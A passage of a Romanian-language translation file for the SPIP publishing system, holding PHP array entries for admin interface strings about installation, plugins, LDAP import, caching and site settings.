'info_gauche_statistiques_referers' => 'Această pagină prezintă lista <i>referers</i>, adică a site-urilor care conţin legături către acest site, doar pentru ieri şi astăzi ; această listă este re-iniţializată la fiecare 24 de ore.',
'info_gauche_visiteurs_enregistres' => 'Veţi găsi aici vizitatorii înregistraţi
în spaţiul public al site-ului (forum-urile pe bază de abonament).',
'info_generation_miniatures_images' => 'Generarea de miniaturi ale imaginilor',
'info_gerer_trad' => 'Gestionaţi legăturile de traducere ?',
'info_hebergeur_desactiver_envoi_email' => 'Anumiţi furnizori de servicii de hosting dezactivează trimiterea automată de
email-uri de pe server-ele lor. În acest caz, funcţiile următoare
din SPIP nu sunt disponibile.',
'info_hier' => 'ieri :',
'info_historique_activer' => 'Activaţi urmărirea reviziilor',
'info_historique_affiche' => 'Afişaţi această versiune',
'info_historique_comparaison' => 'comparaţie',
'info_historique_desactiver' => 'Dezactivaţi urmărirea reviziilor',
'info_historique_texte' => 'Urmărirea reviziilor permite să conservaţi un istoric al tuturor modificărilor aduse conţinutului unui articol şi să afişaţi diferenţele între versiunile succesive.',
'info_identification_publique' => 'Identitatea dumneavoastră publică...',
'info_image_process' => 'Vă rugăm să selecţionaţi cea mai bună metodă de generare a viniételor făcând click pe imaginea corespunzătoare.',
'info_image_process2' => '<b>Nota Bene</b> <i> Dacă nici o imagine nu este afişată, înseamnă ca server-ul care găzduieşte site-ul dumneavoastră nu a fost configurat să folosească unelte de acest tip. Dacă doriţi să folosiţi aceste funcţii, vă rugăm să-l contactaţi pe responsabilul tehnic şi să îi cereţi instalarea extensiilor «GD» sau «Imagick».</i>', # MODIF
'info_images_auto' => 'Imagini calculate automat',
'info_informations_personnelles' => 'Informaţii personale',
'info_inscription_automatique' => 'Înscrierea automatică a noi redactori',
'info_jeu_caractere' => 'Setul de caractere al site-ului',
'info_jours' => 'zile',
'info_laisser_champs_vides' => ' lăsaţi aceste câmpuri goale)',
'info_langues' => 'Limbile site-ului',
'info_ldap_ok' => 'Autentificarea LDAP a fost instalată.',
'info_lien_hypertexte' => 'Legătură hipertext :',
'info_liste_redacteurs_connectes' => 'Lista redactorilor conectaţi',
'info_login_existant' => 'Acest login există déjà.',
'info_login_trop_court' => 'Login prea scurt.',
'info_logos' => 'Logo-urile',
'info_maximum' => 'maxim :',
'info_meme_rubrique' => 'În aceeaşi rubrică',
'info_message' => 'Mesaj de la',
'info_message_efface' => 'MESAJ ŞTERS',
'info_message_en_redaction' => 'Mesajele dumneavoastră în curs de redactare',
'info_message_technique' => 'Mesaj tehnic :',
'info_messagerie_interne' => 'Mesagerie internă',
'info_mise_a_niveau_base' => 'aducere la zi a bazei dumneavoastră de date SQL',
'info_mise_a_niveau_base_2' => '{{Atenţie!}} Aţi instalat o versiune
de fişiere SPIP {anterioară} celei care se găsea înainte pe acest site:
baza dumneavoastră de date riscă să fie
pierdută şi site-ul dumneavoastră nu va mai funcţiona.
{{Reinstalaţi fişierele originale SPIP.}}',
'info_modifier_auteur' => 'Modificaţi autorul :',
'info_modifier_rubrique' => 'Modificaţi rubrica :',
'info_modifier_titre' => 'Modificaţi : @titre@',
'info_mon_site_spip' => 'Site-ul meu SPIP',
'info_mot_sans_groupe' => '(Cuvinte fără grup...)',
'info_moteur_recherche' => 'Motorul de căutare integrat',
'info_moyenne' => 'medie :',
'info_multi_articles' => 'Activaţi meniul de limbă în cadrul articolelor ?',
'info_multi_cet_article' => 'Limba acestui articol :',
'info_multi_langues_choisies' => 'Vă rugăm să selecţionaţi aici limbile aflate la dispoziţia redactorilor site-ului dumneavoastră.
Limbile deja folosite în cadrul site-ului (afişate primele) nu pot fi dezactivate.',
'info_multi_rubriques' => 'Activaţi meniul de limbă în cadrul rubricilor ?',
'info_multi_secteurs' => '... doar pentru rubricile situate sub rădăcină ?',
'info_nom' => 'Nume',
'info_nom_destinataire' => 'Numele destinatarului',
'info_nom_site' => 'Numele site-ului dumneavoastră',
'info_nombre_articles' => '@nb_articles@ articole,',
'info_nombre_partcipants' => 'PARTICIPANŢII LA DISCUŢIE :',
'info_nombre_rubriques' => '@nb_rubriques@ rubrici,',
'info_nombre_sites' => '@nb_sites@ site-uri,',
'info_non_deplacer' => 'Nu deplasaţi...',
'info_non_envoi_annonce_dernieres_nouveautes' => 'SPIP poate trimite regulat anunţuri despre articolele şi ştirile publicate recent.',
'info_non_envoi_liste_nouveautes' => 'Nu trimiteţi la lista noutăţilor',
'info_non_modifiable' => 'nu poate fi modificat(ă)',
'info_non_suppression_mot_cle' => 'nu doresc să şterg acest cuvânt-cheie.',
'info_notes' => 'Note',
'info_nouveaux_message' => 'Mesaje noi',
'info_nouvel_article' => 'Articol nou',
'info_nouvelle_traduction' => 'Traducere nouă :',
'info_numero_article' => 'ARTICOL NUMĂRUL :',
'info_obligatoire_02' => '[Obligatorie]', # MODIF
'info_option_accepter_visiteurs' => 'Acceptaţi înscrierea vizitatorilor site-ului public',
'info_option_faire_suivre' => 'Faceţi ca mesajele forum-urilor să fie trimise autorilor articolelor',
'info_option_ne_pas_accepter_visiteurs' => 'Refuzaţi înscrierea vizitatorilor',
'info_options_avancees' => 'OPŢIUNI AVANSATE',
'info_ortho_activer' => 'Activaţi verificatorul ortografic',
'info_ortho_desactiver' => 'Dezactivaţi verificatorul ortografic',
'info_ou' => 'sau...',
'info_page_interdite' => 'Pagină interzisă',
'info_par_nom' => 'după nume',
'info_par_nombre_article' => 'după numărul de articole',
'info_par_statut' => 'după statut',
'info_par_tri' => '’(după @tri@)’',
'info_passe_trop_court' => 'Parolă prea scurtă.',
'info_passes_identiques' => 'Cele două parole nu sunt identice.',
'info_pense_bete_ancien' => 'Vechile dumneavoastră ciorne', # MODIF
'info_plus_cinq_car' => 'mai mult de 5 caractere',
'info_plus_cinq_car_2' => '(Mai mult de 5 caractere)',
'info_plus_trois_car' => '(Mai mult de 3 caractere)',
'info_popularite' => 'popularitate : @popularite@ ; vizite : @visites@',
'info_popularite_4' => 'popularitate : @popularite@ ; vizites : @visites@',
'info_post_scriptum' => 'Post-Scriptum',
'info_post_scriptum_2' => 'Post-scriptum :',
'info_pour' => 'pentru',
'info_preview_admin' => 'Doar administratorii pot previzualiza site-ul',
'info_preview_comite' => 'Toţi redactorii pot previzualiza site-ul',
'info_preview_desactive' => 'Previzualizarea este complet dezactivată',
'info_preview_texte' => 'Este posibilă previzualizarea site-ului ca şi cum toate articolele şi ştirile (care au cel puţin starea « propus ») ar fi fost deja publicate. Această posibilitate trebuie să fie disponibilă doar pentru administratori, la toţi redactorii, sau nimănui ?',
'info_principaux_correspondants' => 'Corespondenţii dumneavoastră principali',
'info_procedez_par_etape' => 'procedaţi etapă cu etapă',
'info_procedure_maj_version' => 'procedura de aducere la zi trebuie lansată pentru a adapta
baza de date la noua versiune SPIP.',
'info_proxy_ok' => 'Test de proxy reuşit.',
'info_ps' => 'P.S.',
'info_publier' => 'publicaţi',
'info_publies' => 'Articolele dumneavoatră publicate în direct',
'info_question_accepter_visiteurs' => 'Dacă scheletele site-ului dumneavoastră prevăd înregistrarea vizitatorilor fără acces la spaţiul privat, vă rugăm să activaţi opţiunea de mai jos :',
'info_question_inscription_nouveaux_redacteurs' => 'Acceptaţi înscrierea de noi redactori
în partea publică a site-ului ? Dacă acceptaţi, vizitatorii vor putea să se înscrie
cu ajutorul unui formular automatizat şi vor putea avea acces la spaţiul privat pentru a propune
propriile lor articole. <blockquote><i>Ca urmare a procesului de înscriere,
utilizatorii vor primi un email automatic
care le va furniza codurile de acces la site-ul privat. Anumiţi
furnizori de hosting dezactivează trimiterea de email-uri de pe
server-ele lor : în acest caz înscrierea automatică este
imposibilă.', # MODIF
'info_question_utilisation_moteur_recherche' => 'Doriţi să utilizaţi motorul de căutare integrat în SPIP ?
(funcţionarea sistemului este mai rapidă fără activarea motorului de căutare.)',
'info_question_vignettes_referer_non' => 'Nu afişati capturile site-urilor de unde vin vizitele',
'info_qui_edite' => '@nom_auteur_modif@ a travaillé sur ce contenu il y a @date_diff@ minutes', # MODIF
'info_racine_site' => 'Rădăcina site-ului',
'info_recharger_page' => 'Vă rugăm să reîncărcaţi această pagină în câteva momente.',
'info_recherche_auteur_a_affiner' => 'Prea multe rezultate pentru "@cherche_auteur@" ; vă rugăm să rafinaţi termenii căutării.',
'info_recherche_auteur_ok' => 'Mai mulţi redactori găsiţi pentru "@cherche_auteur@":',
'info_recherche_auteur_zero' => 'Nici un rezultat pentru « @cherche_auteur@ ».',
'info_recommencer' => 'Vă rugăm să reîncepeţi.',
'info_redacteur_1' => 'Redactor',
'info_redacteur_2' => ' care are dreptul de acces la spaţiul privat (<i>recomandat</i>)',
'info_redacteurs' => 'Redactori',
'info_redaction_en_cours' => 'ÎN REDACTARE',
'info_redirection' => 'Redirijare',
'info_refuses' => 'Articolele dumneavoastră refuzate',
'info_reglage_ldap' => 'Opţiuni : <b>Reglajele importului LDAP</b>',
'info_renvoi_article' => '<b>Redirijare.</b> Acest articol trimite la pagina:',
'info_reserve_admin' => 'Doar administratorii pot modifica această adresă.',
'info_restreindre_rubrique' => 'Restrângeţi gestiunea la rubrica:',
'info_resultat_recherche' => 'Rezultatele căutării :',
'info_rubriques' => 'Rubrici',
'info_rubriques_02' => 'rubrici',
'info_rubriques_trouvees' => 'Rubrici găsite',
'info_rubriques_trouvees_dans_texte' => 'Rubrici găsite (în text)',
'info_sans_titre' => 'Fără titlu',
'info_selection_chemin_acces' => '<b>Selecţionaţi</b> aici calea de acces în anuar :',
'info_signatures' => 'semnături',
'info_site' => 'Site',
'info_site_2' => 'site :',
'info_site_min' => 'site',
'info_site_reference_2' => 'Site referenţiat',
'info_site_web' => 'SITE WEB :', # MODIF
'info_sites' => 'site-uri',
'info_sites_lies_mot' => 'Site-urile referenţiate legate la acest cuvânt-cheie',
'info_sites_proxy' => 'Utilizaţi un proxy',
'info_sites_trouves' => 'Site-uri găsite',
'info_sites_trouves_dans_texte' => 'Site-uri găsite (în text)',
'info_sous_titre' => 'Subtitlu :',
'info_statut_administrateur' => 'Administrator',
'info_statut_auteur' => 'Starea acestui autor :',
'info_statut_auteur_a_confirmer' => 'Inscriere de confirmat',
'info_statut_auteur_autre' => 'Alt statut :',
'info_statut_efface' => 'Şters',
'info_statut_redacteur' => 'Redactor',
'info_statut_utilisateurs_1' => 'Starea implicită a utilizatorilor importaţi',
'info_statut_utilisateurs_2' => 'Alegeţi starea implicită care este atribuită persoanelor care sunt prezente în anuarul LDAP atunci când se vor conecta pentru prima dată. Veţi putea modifica mai târziu această valoare caz după caz, pentru fiecare autor.',
'info_suivi_activite' => 'Urmărirea activităţii editoriale',
'info_surtitre' => 'Supratitlu :',
'info_syndication_integrale_1' => 'Site-ul dumneavoastră propune fişiere de sindicalizare (vedeţi « <a href="@url@">@titre@</a> »).',
'info_syndication_integrale_2' => 'Doriţi să transmiteţi articolele în totalitatea lor, sau doar să difuzaţi un rezumat de câteva sute de simboluri ?',
'info_table_prefix' => 'Puteţi modifica prefixul numelor tabelelor din baza de date (această etapă este indispensabilă atunci când doriţi să instalaţi mai multe site-uri în aceeaşi bază de date). Acest prefix trebuie să fie scris cu litere mici, fără accente sau diacritice şi fără spaţii.',
'info_taille_maximale_images' => 'SPIP va testa mărimea maximă a imaginilor pe care le poate procesa (în milioane de de pixeli).
Imaginile cu dimensiuni mai mari nu vor fi reduse.',
'info_taille_maximale_vignette' => 'Talia maximală a viniételor generate de către sistem :',
'info_terminer_installation' => 'Acum puteţi să terminaţi procedura standard de instalare.',
'info_texte' => 'Text',
'info_texte_explicatif' => 'Text explicativ',
'info_texte_long' => '(textul este lung : ca urmare, va apare în mai multe părţi care vor fi relipite după validare.)',
'info_texte_message' => 'Textul mesajului dumneavoastră :', # MODIF
'info_texte_message_02' => 'Textul mesajului',
'info_titre' => 'Titlu :',
'info_total' => 'total :',
'info_tous_articles_en_redaction' => 'Toate articolele în curs de redactare',
'info_tous_articles_presents' => 'Toate articolele publicate în această rubrică',
'info_tous_les' => 'toate :',
'info_tous_redacteurs' => 'Anunţuri către toţi redactorii',
'info_tout_site' => 'Tot site-ul',
'info_tout_site2' => 'Articolul nu a fost tradus în această limbă.',
'info_tout_site3' => 'Articolul a fost tradus în această limbă, dar există modificări ale articolului de referinţă. Traducerea trebuie adusă la zi.',
'info_tout_site4' => 'Articolul a fost tradus în această limbă şi traducerea este la zi.',
'info_tout_site5' => 'Articol original.',
'info_tout_site6' => '<b>Atenţie :</b> doar articolele originale sunt afişate.
Traducerile sunt asociate originalului,
cu o culoare care le indică starea :',
'info_travail_colaboratif' => 'Lucru colaborativ cu articolele',
'info_un_article' => 'un articol,',
'info_un_site' => 'un site,',
'info_une_rubrique' => 'o rubrică,',
'info_une_rubrique_02' => '1 rubrică',
'info_url' => 'URL :',
'info_url_site' => 'URL SITE :',
'info_urlref' => 'Legătură hipertext :',
'info_utilisation_spip' => 'Puteţi începe acum să folosiţi sistemul de publicare asistată...',
'info_visites_par_mois' => 'Afişare pe lună :',
'info_visiteur_1' => 'Vizitator',
'info_visiteur_2' => ' al site-ului public',
'info_visiteurs' => 'Vizitatori',
'info_visiteurs_02' => 'Vizitatorii site-ului public',
'install_adresse_base_hebergeur' => 'Adresa bazei de date furnizată de provider',
'install_base_ok' => 'Baza @base@ fost recunoscută',
'install_echec_annonce' => 'Instalarea va eşua probabil sau va conduce la un site nefuncţional...',
'install_extension_mbstring' => 'SPIP nu foncţionează cu :',
'install_extension_php_obligatoire' => 'SPIP are nevoie de extensia php :',
'install_login_base_hebergeur' => 'Login-ul de conectare furnizat de provider',
'install_nom_base_hebergeur' => 'Numele bazei furnizată de provider :',
'install_pas_table' => 'Bază fără tabele în acest moment',
'install_pass_base_hebergeur' => 'Parola furnizată de provider',
'install_php_version' => 'Versiune PHP @version@ nesatisfăcătoare (minimum = @minimum@)',
'install_select_langue' => 'Selecţionaţi o limbă şi faceţi click pe butonul « următorul » pentru a lansa procedura de instalare.',
'install_select_type_db' => 'Indicaţi tipul bazei de date :',
'install_select_type_mysql' => 'MySQL',
'install_select_type_sqlite2' => 'SQLite 2',
'install_select_type_sqlite3' => 'SQLite 3',
'install_serveur_hebergeur' => 'Server de bază de date atribuit de către provider',
'install_table_prefix_hebergeur' => 'Prefix-ul tabelelor furnizat de provider :',
'install_tables_base' => 'Tabelele bazei',
'install_types_db_connus' => 'SPIP ştie să folosească <b>MySQL</b> (cel mai răspândit), <b>PostgreSQL</b> şi <b>SQLite</b>.', # MODIF
'install_types_db_connus_avertissement' => 'Atenţie : mai multe plug-in-uri nu funcţionează decât cu MySQL', # MODIF
'intem_redacteur' => 'redactor',
'intitule_licence' => 'Licenţă',
'item_accepter_inscriptions' => 'Acceptaţi înscrierile',
'item_activer_messages_avertissement' => 'Activaţi mesajele de avertisment',
'item_administrateur_2' => 'administrator',
'item_afficher_calendrier' => 'Afişaţi în calendar',
'item_autoriser_documents_joints' => 'Autorizaţi documentele ataşate în articole',
'item_autoriser_documents_joints_rubriques' => 'Autorizaţi documentele ataşate în rubrici',
'item_autoriser_syndication_integrale' => 'Difuzaţi integralitatea articolelor în fişierele de sindicalizare',
'item_choix_administrateurs' => 'administratorii',
'item_choix_generation_miniature' => 'Generaţi în mod automat miniaturile imaginilor.',
'item_choix_non_generation_miniature' => 'Nu generaţi miniaturile imaginilor.',
'item_choix_redacteurs' => 'redactorii',
'item_choix_visiteurs' => 'vizitatorii site-ului public',
'item_creer_fichiers_authent' => 'Creaţi fişierele .htpasswd',
'item_limiter_recherche' => 'Limitaţi căutarea la informaţille conţinute pe site-ul dumneavoastră',
'item_login' => 'Login',
'item_messagerie_agenda' => 'Activaţi mesageria şi agenda',
'item_mots_cles_association_articles' => 'articolelor',
'item_mots_cles_association_rubriques' => 'rubricilor',
'item_mots_cles_association_sites' => 'site-urilor referenţiate sau sindicalizate.',
'item_non' => 'Nu',
'item_non_accepter_inscriptions' => 'Nu acceptaţi înscrierile',
'item_non_activer_messages_avertissement' => 'Fără mesaje de avertisment',
'item_non_afficher_calendrier' => 'Nu afişaţi în calendar',
'item_non_autoriser_documents_joints' => 'Nu autorizaţi documentele în articole',
'item_non_autoriser_documents_joints_rubriques' => 'Nu autorizaţi documentele în rubrici',
'item_non_autoriser_syndication_integrale' => 'Difuzaţi doar un rezumat',
'item_non_compresseur' => 'Dezactivaţi compresia',
'item_non_creer_fichiers_authent' => 'Nu creaţi aceste fişiere',
'item_non_gerer_statistiques' => 'Nu gestionaţi statisticile',
'item_non_limiter_recherche' => 'Măriţi zona de căutare la conţinutul site-urilor referenţiate',
'item_non_messagerie_agenda' => 'Dezactivaţi mesageria şi agenda',
'item_non_publier_articles' => 'Nu publicaţi articolele înaintea datei de publicare fixată.',
'item_non_utiliser_moteur_recherche' => 'Nu folosiţi motorul',
'item_nouvel_auteur' => 'Autor nou',
'item_nouvelle_rubrique' => 'Rubrică nouă',
'item_oui' => 'Da',
'item_publier_articles' => 'Publicaţi articolele indiferent de data lor de publicare.',
'item_reponse_article' => 'Răspuns la articolul',
'item_utiliser_moteur_recherche' => 'Utilizaţi motorul de căutare',
'item_visiteur' => 'vizitator',
// J
'jour_non_connu_nc' => 'necunoscut',
// L
'lien_ajout_destinataire' => 'Adăugaţi acest destinatar',
'lien_ajouter_auteur' => 'Adăugaţi acest autor',
'lien_ajouter_participant' => 'Adăugaţi un participant',
'lien_email' => 'email',
'lien_nom_site' => 'NUME SITE :',
'lien_retirer_auteur' => 'Retrageţi autorul',
'lien_retrait_particpant' => 'retrageţi acest participant',
'lien_site' => 'site',
'lien_supprimer_rubrique' => 'ştergeţi această rubrică',
'lien_tout_deplier' => 'Desfăşuraţi totul',
'lien_tout_replier' => 'Strângeţi totul',
'lien_tout_supprimer' => 'Ştergeţi totul',
'lien_trier_nom' => 'Triaţi după nume',
'lien_trier_nombre_articles' => 'Triaţi după numărul articolelor',
'lien_trier_statut' => 'Triaţi după stare',
'lien_voir_en_ligne' => 'VEDEŢI ÎN DIRECT :',
'logo_article' => 'VINIETA ARTICOLULUI', # MODIF
'logo_auteur' => 'VINIETA AUTORULUI', # MODIF
'logo_rubrique' => 'VINIETA RUBRICII', # MODIF
'logo_site' => 'VINIETA ACESTUI SITE', # MODIF
'logo_standard_rubrique' => 'VINIETA STANDARD A RUBRICILOR', # MODIF
'logo_survol' => 'VINIETA PENTRU SURVOL', # MODIF
// M
'menu_aide_installation_choix_base' => 'Alegeţi baza dumneavoastră',
'module_fichier_langue' => 'Fişier de limbă',
'module_raccourci' => 'Scurtătură',
'module_texte_affiche' => 'Text afişat',
'module_texte_explicatif' => 'Puteţi să introduceţi scurtăturile următoare în scheletele folosite de site-ul public. Acestea vor fi traduse în mod automat în limbile pentru care există un fişier de limbă.',
'module_texte_traduction' => 'Fişierul de limbă « @module@ » este disponibil în :',
'mois_non_connu' => 'necunoscut',
// O
'onglet_contenu' => 'Conţinut',
'onglet_declarer_une_autre_base' => 'Declaraţi o altă bază de date',
'onglet_discuter' => 'Discutaţi',
'onglet_documents' => 'Documente',
'onglet_interactivite' => 'Interactivitate',
'onglet_proprietes' => 'Proprietăţi',
'onglet_repartition_actuelle' => 'actuală',
'onglet_sous_rubriques' => 'Sub-rubrici',
// P
'page_pas_proxy' => 'Această pagină nu trebuie să treacă prin proxy',
'pas_de_proxy_pour' => 'În caz de nevoie, indicaţi maşinile sau domeniile pentru care acest proxy nu trebuie folosit (de exemplu : @exemple@)',
'plugin_charge_paquet' => 'Încărcarea pachetului @name@',
'plugin_erreur_charger' => 'eroare : imposibil de încărcat @zip@',
'plugin_erreur_droit1' => 'Directorul <code>@dest@</code> nu este accesibil pentru operaţii de scriere.',
'plugin_erreur_droit2' => 'Vă rugăm să verificaţi drepturile în acest director (şi să îl creaţi, în cazul în care nu există) sau să instalaţi fişierele prin FTP.',
'plugin_erreur_zip' => 'eşec pclzip : eroare @status@',
'plugin_etat_developpement' => 'în curs de dezvoltare',
'plugin_etat_experimental' => 'experimental',
'plugin_etat_stable' => 'stabil',
'plugin_etat_test' => 'în test',
'plugin_impossible_activer' => 'Imposibil de activat plugin-ul @plugin@',
'plugin_info_automatique1' => 'Dacă vreţi să autorizaţi instalarea automată a plug-in-urilor, vă rugăm să :',
'plugin_info_automatique2' => 'creaţi un director <code>@rep@</code> ;',
'plugin_info_automatique3' => 'verificaţi că server-ul este autorizat să scrie în acest director.',
'plugin_info_automatique_creer' => 'de creat în directorul rădăcină al site-ului.',
'plugin_info_automatique_exemples' => 'exemple :',
'plugin_info_automatique_ftp' => 'Puteţi să instalaţi plug-in-uri, prin FTP, în directorul <tt>@rep@</tt>',
'plugin_info_automatique_lib' => 'Anumite plug-in-uri cer, de asemenea, permisiunea de a descărca fişiere în directorul <code>lib/</code> - de creat, la nevoie, în directorul rădăcină al site-ului.',
'plugin_info_automatique_liste' => 'Listele dumneavoastră de plug-in-uri :',
'plugin_info_automatique_liste_officielle' => 'plug-in-urile oficiale',
'plugin_info_automatique_liste_update' => 'Aduceţi listele la zi',
'plugin_info_automatique_ou' => 'sau...',
'plugin_info_automatique_select' => 'Selecţionaţi mai jos un plug-in : SPIP o să îl descarce şi îl va instala în directorul <code>@rep@</code> ; dacă acest plug-in există deja, el va fi adus la zi.',
'plugin_info_telecharger' => 'de descărcat de la @url@ şi de instalat în @rep@',
'plugin_librairies_installees' => 'Librăriile instalate',
'plugin_necessite_lib' => 'Acest plug-in are nevoie de librăria @lib@',
'plugin_necessite_plugin' => 'Necesită plugin-ul @plugin@ cu versiunea @version@ minim.',
'plugin_necessite_spip' => 'Are nevoie de SPIP cu versiunea @version@ minim.',
'plugin_source' => 'sursa: ',
'plugin_titre_automatique' => 'Instalare automatică',
'plugin_titre_automatique_ajouter' => 'Adăugaţi plug-in-uri',
'plugin_zip_active' => 'Continuaţi pentru a-l activa',
'plugin_zip_adresse' => 'indicaţi mai jos adresa unui fişier zip conţinând plug-in-ul de descărcat, sau chiar adresa unei liste de plug-in-uri.',
'plugin_zip_adresse_champ' => 'Adresa plug-uluiin sau a listei ',
'plugin_zip_content' => 'Conţine fişierele următoare(@taille@),<br />gata de instalare în directorul <code>@rep@</code>',
'plugin_zip_installe_finie' => 'Fişierul @zip@ a fost decomprimat şi instalat.',
'plugin_zip_installe_rep_finie' => 'Fişierul @zip@ a fost decomprimat şi instalat în directorul @rep@',
'plugin_zip_installer' => 'Puteţi acum să îl instalaţi.',
'plugin_zip_telecharge' => 'Fişierul @zip@ a fost descărcat',
'plugins_actifs' => '@count@ plug-in-uri activate.',
'plugins_actifs_liste' => 'Plugins actifs', # MODIF
'plugins_compte' => '@count@ plug-in-uri',
'plugins_disponibles' => '@count@ plug-in-uri disponibile.',
'plugins_erreur' => 'Eroare în plug-in-urile : @plugins@',
'plugins_liste' => 'Lista plugin-urilor',
'plugins_vue_hierarchie' => 'Ierarhie',
'plugins_vue_liste' => 'Listă',
'protocole_ldap' => 'Versiunea protocolului :',
// Q
'queue_titre' => 'Liste de travaux', # MODIF
// R
'repertoire_plugins' => 'Director :',
// S
'sans_heure' => 'fără oră',
'statut_admin_restreint' => '(administrator cu drepturi restrânse)', # MODIF
// T
'taille_cache_image' => 'Imaginile calculate automat de către SPIP (viniete de documente, titluri prezentate sub formă grafică, funcţii matematice în format TeX...) ocupă în directorul @dir@ un total de @taille@.',
'taille_cache_infinie' => 'Acest site nu prevede limitarea mărimii directorului <code>CACHE/</code>.',
'taille_cache_maxi' => 'SPIP încearcă să limiteze mărimea directorului <code>CACHE/</code> al acestui site la aproximativ <b>@octets@</b> octeţi de date.',
'taille_cache_octets' => 'Mărimea tamponului este acum de @octets@.', # MODIF
'taille_cache_vide' => 'Tamponul este gol.',
'taille_repertoire_cache' => 'Mărimea directorului de tampon',
'text_article_propose_publication' => 'Articol propus pentru publicare. ',
'texte_acces_ldap_anonyme_1' => 'Anumite server-e LDAP nu acceptă accesul anonim. În acest caz va trebui să specificaţi un identificator de acces iniţial pentru a putea recupera datele din anuar. În majoritatea cazurilor, însă, aceste câmpuri pot fi lăsate goale.',
'texte_admin_effacer_01' => 'Această comandă şterge <i>tot</i> conţinutul bazei de date,
incluzând <i>toate</i> informaţiile referitoare la redactori sau administratori. După execuţia acestei comenzi va trebui să relansaţi procedura de
reinstalare a SPIP pentru a recrea o nouă bază de date cât şi un nou acces administrator.',
'texte_adresse_annuaire_1' => '(Dacă anuarul este instalat pe aceeaşi maşină ca şi site-ul Web, este vorba probabil de «localhost».)',
'texte_ajout_auteur' => 'Autorul următor a fost adăugat la articol :',
'texte_annuaire_ldap_1' => 'Dacă avezi un acces la un anuar LDAP, puteţi să îl folosiţi pentru a importa în mod automat utilizatorii SPIP.',
'texte_article_statut' => 'Acest articol este :',
'texte_article_virtuel' => 'Articol virtual',
'texte_article_virtuel_reference' => '<b>Articol virtual :</b> articol referenţiat pe site-ul dumneavoastră SPIP, dar redirijat către un alt URL. Pentru a şterge redirijarea, ştergeţi URL-ul.',
'texte_aucun_resultat_auteur' => 'Nici un rezultat pentru "@cherche_auteur@"',
'texte_auteur_messagerie' => 'Acest site vă poate indica în permanenţă lista redactorilor conectaţi, ceea ce vă permite schimbul de mesaje în direct. Puteţi decide să nu apăreţi în această listă (sunteţi « invizibil » pentru ceilalţi utilizatori).',
'texte_auteur_messagerie_1' => 'Acest site permite schimbul de mesaje şi constituirea de forum-uri de discuţii private între participanţii la acest site. Puteţi decide să nu participaţi la aceste schimburi.',
'texte_auteurs' => 'AUTORII',
'texte_choix_base_1' => 'Alegeţi baza dumneavoastră :',
'texte_choix_base_2' => 'Server-ul SQL conţine mai multe baze de date.',
'texte_choix_base_3' => '<b>Selecţionaţi</b> aici aceea care v-a fost atribuită de către furnizorul dumneavoastră de internet:',
'texte_choix_table_prefix' => 'Prefixul tabelelor :',
'texte_commande_vider_tables_indexation' => 'Utilizaţi această comandă pentru a goli tabelele de indexare utilizate
de către motorul de căutare integrat în SPIP. Această operaţie vă va permite să
câştigaţi spaţiu pe disc.',
'texte_compresse_ou_non' => '(acesta poate fi comprimat sau nu)',
'texte_compte_element' => '@count@ element(e)',
'texte_compte_elements' => '@count@ element(e)',
'texte_conflit_edition_correction' => 'Vă rugăm să controlaţi mai jos diferenţele între cele două versiuni ale textului; puteţi de asemenea să copiaţi modificările dumneavoastră, pentru a reîncepe.',
'texte_connexion_mysql' => 'Vă rugăm să consultaţi informaţiile care v-au fost date de către furnizorul dumneavoastră : ar trebui să găsiţi codurile de acces la server-ul de baze de date.',
'texte_contenu_article' => '(Conţinutul articolului în câteva cuvinte.)',
'texte_contenu_articles' => 'În funcţie de formatul ales pentru site-ul dumneavoastră, puteţi decide
că anumite elemente ale articolelor nu sunt folosite.
Indicaţi lista de mai jos pentru a indica care elemente vor fi disponibile.',
'texte_crash_base' => 'Dacă baza dumneavoastră de date a suferit o cădere,
puteţi încerca o reparare automată.',
'texte_creer_rubrique' => 'Înainte de a putea scrie articole,<br /> trebuie să creaţi o rubrică.',
'texte_date_creation_article' => 'DATA CREĂRII ARTICOLULUI :',
'texte_date_publication_anterieure' => 'DATA REDACTĂRII ANTERIOARE :',
'texte_date_publication_anterieure_nonaffichee' => 'Nu afişaţi data redactării anterioare.',
'texte_date_publication_article' => 'DATA PUBLICĂRII ÎN LINIE :',
'texte_descriptif_petition' => 'Descrierea petiţiei',
'texte_descriptif_rapide' => 'Descriere pe scurt',
'texte_effacer_base' => 'Ştergeţi baza de date SPIP',
'texte_effacer_donnees_indexation' => 'Ştergeţi datele de indexare',
'texte_effacer_statistiques' => 'Ştergeţi statisticile',
'texte_en_cours_validation' => 'Articolele şi ştirile de mai jos sunt propuse pentru publicare.', # MODIF
'texte_enrichir_mise_a_jour' => 'Puteţi îmbogăţi aranjarea în pagină a textului dumneavoastră prin folosirea « scurtăturilor tipografice ».',
'texte_fichier_authent' => '<b>Trebuie ca SPIP să creeze fişierele speciale <tt>.htpasswd</tt>
şi <tt>.htpasswd-admin</tt> în directorul @dossier@ ?</b>
Aceste fişiere vă pot servi pentru a restânge accesul autorilor şi administratorilor în alte locuri ale site-ului dumneavoastră
(programe externe de statistici, de exemplu).
Dacă nu vedeţi utilitatea unui astfel de mecanism de protecţie, puteţi lăsa această opţiune
la valoare ei implicită (fără crearea de fişiere).', # MODIF
'texte_informations_personnelles_1' => 'Sistemul vă va crea acum un acces personalizat la site.',
'texte_informations_personnelles_2' => '(Notă : dacă este vorba de o reinstalare, şi dacă accesul dumneavoastră merge încă, puteţi', # MODIF
'texte_introductif_article' => '(Text introductiv al articolului.)',
'texte_jeu_caractere' => 'Este recomandabil să folosiţi, pentru site-ul dumneavoastră, alfabetul universal (<tt>utf-8</tt>) : acesta permite afişarea textelor în toate limbile şi nu pune probleme de compatibilitate navigatoarelor moderne.',
'texte_jeu_caractere_2' => 'Atenţie: acest reglaj reglaj nu are efect retroactiv şi nu converteşte textele deja înregistrate în baza de date.',
'texte_jeu_caractere_3' => 'Site-ul dumneavoastră este, actualmente, configurat să folosească codarea:',
'texte_jeu_caractere_4' => 'Dacă această setare nu corespunde realităţii datelor dumneavoastră (de exemplu ca urmare a unei restaurări a bazei de date) sau dacă tocmai demaraţi acest site şi doriţi să porniţi cu o altă codare, specificaţi aici alegerea dumneavoastră :',
'texte_jeu_caractere_conversion' => 'Notă : puteţi să hotărâţi să convertiţi ansamblul textelor de pe site (articole, ştiri, forum-uri, etc.) către codarea <tt>utf-8</tt>, dacă vizitaţi <a href="@url@">pagina de convertire către utf-8</a>.',
'texte_lien_hypertexte' => '(Dacă mesajul dumneavoastră se referă la un articol publicat pe Web sau la o pagină furnizând mai multe informaţii, vă rugăm să indicaţi aici titlul si adresa URL corespunzătoare.)',
